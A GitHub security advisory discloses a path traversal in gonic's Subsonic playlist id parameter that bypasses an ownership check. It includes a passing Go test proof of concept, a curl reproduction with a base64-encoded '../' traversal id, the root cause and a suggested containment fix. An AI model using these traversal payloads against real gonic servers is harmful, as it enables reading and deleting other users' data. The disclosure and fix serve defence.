GHSA-2FP4-5V5C-4448
Vulnerability from github – Published: 2026-06-26 23:32 – Updated: 2026-06-26 23:32Summary
The maintainer's recent fix in 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist) added an ownership check based on playlist.UserID. However, playlist.UserID is derived from the first path segment of the attacker-controlled playlist ID, with no path containment on the resolved file path.
Any authenticated Subsonic user can therefore bypass the ownership check and:
- Read any other user's playlist (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by
..traversal segments pointing into another user's playlist directory. - Delete any other user's playlist (including admin's curated playlists) by the same trick against
deletePlaylist. - Probe arbitrary file paths on the host for existence/readability.
This is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the id parameter rather than direct cross-user access).
Root cause
server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode performs raw base64 decode of the id parameter and passes the byte string straight to playlistStore.Read/Delete:
func playlistIDDecode(id specid.ID) string {
path, _ := base64.URLEncoding.DecodeString(id.StringValue)
return string(path)
}
playlist/playlist.go::Store.Read then:
absPath := filepath.Join(s.basePath, relPath) // no containment check
// ...
playlist.UserID, err = userIDFromPath(relPath) // extracts firstPathEl, e.g. "2"
if err != nil {
playlist.UserID = 1 // fallback
}
userIDFromPath reads only the first segment via firstPathEl(relPath) (strconv.Atoi of strings.Split(path, "/")[0]). It does not validate that the cleaned absolute path stays under s.basePath.
The id parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like "2/../../<victim>/playlist.m3u" is preserved verbatim. userIDFromPath extracts "2" (the attacker's own user ID), playlist.UserID = 2, and the ownership check playlist.UserID != user.ID && !playlist.IsPublic becomes 2 != 2 && ... → false → access allowed. Meanwhile filepath.Join resolves the .. segments and escapes basePath.
Affected code
playlist/playlist.go:88-144—Store.ReadjoinsrelPathwithbasePathwithout containment validationplaylist/playlist.go:200-206—Store.Delete(same pattern)playlist/playlist.go:208-220—userIDFromPath/firstPathEltrust only the first path segmentserver/ctrlsubsonic/handlers_playlist.go:51-72—ServeGetPlaylistownership checkserver/ctrlsubsonic/handlers_playlist.go:182-202—ServeDeletePlaylistownership checkserver/ctrlsubsonic/handlers_playlist.go:209-212—playlistIDDecode(no validation)
Live PoC — passing Go test
Drop this into server/ctrlsubsonic/handlers_playlist_read_traversal_test.go and run go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v:
package ctrlsubsonic
import (
"fmt"
"net/url"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {
f := newFixture(t)
t.Logf("alt user ID: %d, admin user ID: %d", f.alt.ID, f.admin.ID)
// Plant a sentinel M3U file outside the playlists directory.
tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
sentinelDir := filepath.Join(tmpDir, "sensitive")
require.NoError(t, os.MkdirAll(sentinelDir, 0o755))
sentinelPath := filepath.Join(sentinelDir, "secret.m3u")
require.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:"victim-secret"
#GONIC-COMMENT:"sensitive content"
#GONIC-IS-PUBLIC:"false"
`), 0o644))
// RAW string — playlistIDDecode does base64 only, no path cleaning.
rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID)
traversalID := playlistIDEncode(rawRel).String()
// f.alt is the NON-ADMIN user.
resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}})
t.Logf("resp: %s", string(resp))
require.Contains(t, string(resp), "victim-secret",
"VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/", f.alt.ID)
}
Test output against current master HEAD 6dd71e6:
=== RUN TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix
alt user ID: 2, admin user ID: 1
resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
"playlist":{"id":"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==",
"name":"victim-secret","comment":"sensitive content","owner":"alt",
"songCount":0,"created":"...","changed":"...","duration":0}}}
--- PASS: TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix (0.06s)
The same approach against ServeDeletePlaylist (f.contr.ServeDeletePlaylist) deletes the targeted file.
HTTP-level reproduction
# Attacker user (ID = N) reads target playlist owned by user M.
# Construct the raw rel path: "N/../M/<filename>.m3u"
ATTACKER_ID=2
RAW='2/../1/shared.m3u'
# base64-url-encode (no padding stripping needed since playlistIDDecode tolerates it)
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"
curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \
| python3 -m json.tool
# Response includes name, comment, IsPublic, and song list from the victim's playlist.
Impact
- Confidentiality: Any authenticated user can read any other user's playlist content, including the private (
IsPublic=false) playlists that the recent 6dd71e6 fix specifically tried to protect. - Integrity / Availability: Any authenticated user can delete any other user's playlists, including admin's curated lists. Same bypass technique works against
ServeDeletePlaylist. - Trust boundary: gonic explicitly supports multi-user deployments. This bug defeats the user-to-user authorization model that the maintainer just patched.
- Arbitrary file content read is constrained by gonic's M3U parser — only
#GONIC-NAME:/#GONIC-COMMENT:attributes from the target file survive parsing. File-existence probing works against arbitrary paths.
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 7.1 High
Suggested fix
Add path containment in playlist/playlist.go for Store.Read, Store.Write, and Store.Delete — reject any relPath that escapes s.basePath after filepath.Join:
func (s *Store) contained(relPath string) (string, error) {
absPath := filepath.Join(s.basePath, relPath)
rel, err := filepath.Rel(s.basePath, absPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return "", fmt.Errorf("path %q escapes playlist directory", relPath)
}
return absPath, nil
}
func (s *Store) Read(relPath string) (*Playlist, error) {
defer lock(&s.mu)()
if err := sanityCheck(s.basePath); err != nil {
return nil, err
}
absPath, err := s.contained(relPath)
if err != nil {
return nil, err
}
// ... rest unchanged, using absPath
}
Apply in Write() (line 153) and Delete() (line 206) as well. The ownership check at 6dd71e6 then becomes a defense-in-depth layer on top of the structural containment.
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.20.1"
},
"package": {
"ecosystem": "Go",
"name": "go.senan.xyz/gonic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49339"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:32:10Z",
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe maintainer\u0027s recent fix in [`6dd71e6a3c966867ef8c900d359a7df75789f410`](https://github.com/sentriz/gonic/commit/6dd71e6) (`fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist`) added an ownership check based on `playlist.UserID`. However, `playlist.UserID` is derived from the *first path segment* of the attacker-controlled playlist ID, with no path containment on the resolved file path.\n\n**Any authenticated Subsonic user** can therefore bypass the ownership check and:\n\n1. **Read any other user\u0027s playlist** (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by `..` traversal segments pointing into another user\u0027s playlist directory.\n2. **Delete any other user\u0027s playlist** (including admin\u0027s curated playlists) by the same trick against `deletePlaylist`.\n3. **Probe arbitrary file paths on the host** for existence/readability.\n\nThis is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the `id` parameter rather than direct cross-user access).\n\n## Root cause\n\n`server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode` performs raw base64 decode of the `id` parameter and passes the byte string straight to `playlistStore.Read/Delete`:\n\n```go\nfunc playlistIDDecode(id specid.ID) string {\n path, _ := base64.URLEncoding.DecodeString(id.StringValue)\n return string(path)\n}\n```\n\n`playlist/playlist.go::Store.Read` then:\n\n```go\nabsPath := filepath.Join(s.basePath, relPath) // no containment check\n// ...\nplaylist.UserID, err = userIDFromPath(relPath) // extracts firstPathEl, e.g. \"2\"\nif err != nil {\n playlist.UserID = 1 // fallback\n}\n```\n\n`userIDFromPath` reads only the first segment via `firstPathEl(relPath)` (`strconv.Atoi` of `strings.Split(path, \"/\")[0]`). It does not validate that the cleaned absolute path stays under `s.basePath`.\n\nThe `id` parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like `\"2/../../\u003cvictim\u003e/playlist.m3u\"` is preserved verbatim. `userIDFromPath` extracts `\"2\"` (the attacker\u0027s own user ID), `playlist.UserID = 2`, and the ownership check `playlist.UserID != user.ID \u0026\u0026 !playlist.IsPublic` becomes `2 != 2 \u0026\u0026 ...` \u2192 **false** \u2192 access allowed. Meanwhile `filepath.Join` resolves the `..` segments and escapes `basePath`.\n\n## Affected code\n\n- `playlist/playlist.go:88-144` \u2014 `Store.Read` joins `relPath` with `basePath` without containment validation\n- `playlist/playlist.go:200-206` \u2014 `Store.Delete` (same pattern)\n- `playlist/playlist.go:208-220` \u2014 `userIDFromPath` / `firstPathEl` trust only the first path segment\n- `server/ctrlsubsonic/handlers_playlist.go:51-72` \u2014 `ServeGetPlaylist` ownership check\n- `server/ctrlsubsonic/handlers_playlist.go:182-202` \u2014 `ServeDeletePlaylist` ownership check\n- `server/ctrlsubsonic/handlers_playlist.go:209-212` \u2014 `playlistIDDecode` (no validation)\n\n## Live PoC \u2014 passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_read_traversal_test.go` and run `go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {\n\tf := newFixture(t)\n\tt.Logf(\"alt user ID: %d, admin user ID: %d\", f.alt.ID, f.admin.ID)\n\n\t// Plant a sentinel M3U file outside the playlists directory.\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\tsentinelDir := filepath.Join(tmpDir, \"sensitive\")\n\trequire.NoError(t, os.MkdirAll(sentinelDir, 0o755))\n\tsentinelPath := filepath.Join(sentinelDir, \"secret.m3u\")\n\trequire.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:\"victim-secret\"\n#GONIC-COMMENT:\"sensitive content\"\n#GONIC-IS-PUBLIC:\"false\"\n`), 0o644))\n\n\t// RAW string \u2014 playlistIDDecode does base64 only, no path cleaning.\n\trawRel := fmt.Sprintf(\"%d/../../sensitive/secret.m3u\", f.alt.ID)\n\ttraversalID := playlistIDEncode(rawRel).String()\n\n\t// f.alt is the NON-ADMIN user.\n\tresp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{\"id\": {traversalID}})\n\tt.Logf(\"resp: %s\", string(resp))\n\n\trequire.Contains(t, string(resp), \"victim-secret\",\n\t\t\"VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/\", f.alt.ID)\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix\n alt user ID: 2, admin user ID: 1\n resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n \"playlist\":{\"id\":\"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==\",\n \"name\":\"victim-secret\",\"comment\":\"sensitive content\",\"owner\":\"alt\",\n \"songCount\":0,\"created\":\"...\",\"changed\":\"...\",\"duration\":0}}}\n--- PASS: TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix (0.06s)\n```\n\nThe same approach against `ServeDeletePlaylist` (`f.contr.ServeDeletePlaylist`) deletes the targeted file.\n\n## HTTP-level reproduction\n\n```bash\n# Attacker user (ID = N) reads target playlist owned by user M.\n# Construct the raw rel path: \"N/../M/\u003cfilename\u003e.m3u\"\nATTACKER_ID=2\nRAW=\u00272/../1/shared.m3u\u0027\n\n# base64-url-encode (no padding stripping needed since playlistIDDecode tolerates it)\nID=\"pl-$(printf \u0027%s\u0027 \"$RAW\" | base64 -w0 | tr \u0027/+\u0027 \u0027_-\u0027)\"\n\ncurl -s \"http://gonic-host/rest/getPlaylist.view?u=attacker\u0026p=pass\u0026c=poc\u0026v=1.16.1\u0026f=json\u0026id=$ID\" \\\n | python3 -m json.tool\n# Response includes name, comment, IsPublic, and song list from the victim\u0027s playlist.\n```\n\n## Impact\n\n- **Confidentiality**: Any authenticated user can read any other user\u0027s playlist content, including the private (`IsPublic=false`) playlists that the recent 6dd71e6 fix specifically tried to protect.\n- **Integrity / Availability**: Any authenticated user can delete any other user\u0027s playlists, including admin\u0027s curated lists. Same bypass technique works against `ServeDeletePlaylist`.\n- **Trust boundary**: gonic explicitly supports multi-user deployments. This bug defeats the user-to-user authorization model that the maintainer just patched.\n- **Arbitrary file content read** is *constrained* by gonic\u0027s M3U parser \u2014 only `#GONIC-NAME:` / `#GONIC-COMMENT:` attributes from the target file survive parsing. File-existence probing works against arbitrary paths.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **7.1 High**\n\n## Suggested fix\n\nAdd path containment in `playlist/playlist.go` for `Store.Read`, `Store.Write`, and `Store.Delete` \u2014 reject any `relPath` that escapes `s.basePath` after `filepath.Join`:\n\n```go\nfunc (s *Store) contained(relPath string) (string, error) {\n absPath := filepath.Join(s.basePath, relPath)\n rel, err := filepath.Rel(s.basePath, absPath)\n if err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n return \"\", fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n }\n return absPath, nil\n}\n\nfunc (s *Store) Read(relPath string) (*Playlist, error) {\n defer lock(\u0026s.mu)()\n if err := sanityCheck(s.basePath); err != nil {\n return nil, err\n }\n absPath, err := s.contained(relPath)\n if err != nil {\n return nil, err\n }\n // ... rest unchanged, using absPath\n}\n```\n\nApply in `Write()` (line 153) and `Delete()` (line 206) as well. The ownership check at 6dd71e6 then becomes a defense-in-depth layer on top of the structural containment.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"id": "GHSA-2fp4-5v5c-4448",
"modified": "2026-06-26T23:32:10Z",
"published": "2026-06-26T23:32:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sentriz/gonic/security/advisories/GHSA-2fp4-5v5c-4448"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49339"
},
{
"type": "WEB",
"url": "https://github.com/sentriz/gonic/commit/0824bed88f6bbc490ba28bf09d28e5dfeb07b445"
},
{
"type": "WEB",
"url": "https://github.com/sentriz/gonic/commit/6dd71e6"
},
{
"type": "PACKAGE",
"url": "https://github.com/sentriz/gonic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users\u0027 playlists"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.